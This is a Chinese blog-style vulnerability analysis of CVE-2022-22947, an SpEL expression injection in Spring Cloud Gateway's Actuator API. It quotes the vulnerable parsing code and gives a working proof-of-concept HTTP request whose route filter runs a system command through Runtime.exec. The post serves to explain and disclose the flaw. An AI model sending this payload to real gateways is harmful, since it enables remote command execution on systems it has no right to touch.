[CVE-2022-22947]Spring Cloud Gateway Actuator API SpEL表达式注入命令执行

最新推荐文章于 2025-04-06 21:05:51 发布

原创最新推荐文章于 2025-04-06 21:05:51 发布 · 4.8k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#gateway #spring #安全

漏洞分析专栏收录该内容

27 篇文章

订阅专栏

本文详细介绍了SpringCloudGateway在3.1.0及3.0.6版本之前存在的SpEL表达式注入漏洞，攻击者可以通过访问Actuator API执行任意命令。分析了漏洞源于ShortcutConfigurable.java中未正确过滤带有SpEL表达式的配置。提供了一个概念验证POC，展示了如何利用该漏洞进行命令执行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、背景

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

二、漏洞分析

ShortcutConfigurable.java ：

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
	Object value;
	String rawValue = entryValue;
	if (rawValue != null) {
		rawValue = rawValue.trim();
	}
	if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
		// assume it's spel
		StandardEvaluationContext context = new StandardEvaluationContext();
		context.setBeanResolver(new BeanFactoryResolver(beanFactory));
		Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
		value = expression.getValue(context);
	}
	else {
		value = entryValue;
	}
	return value;
}

StandardEvaluationContext允许任意的表达式被调用。

三、漏洞概念复现POC

POST /actuator/gateway/routes/hacktest HTTP/1.1
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

来源：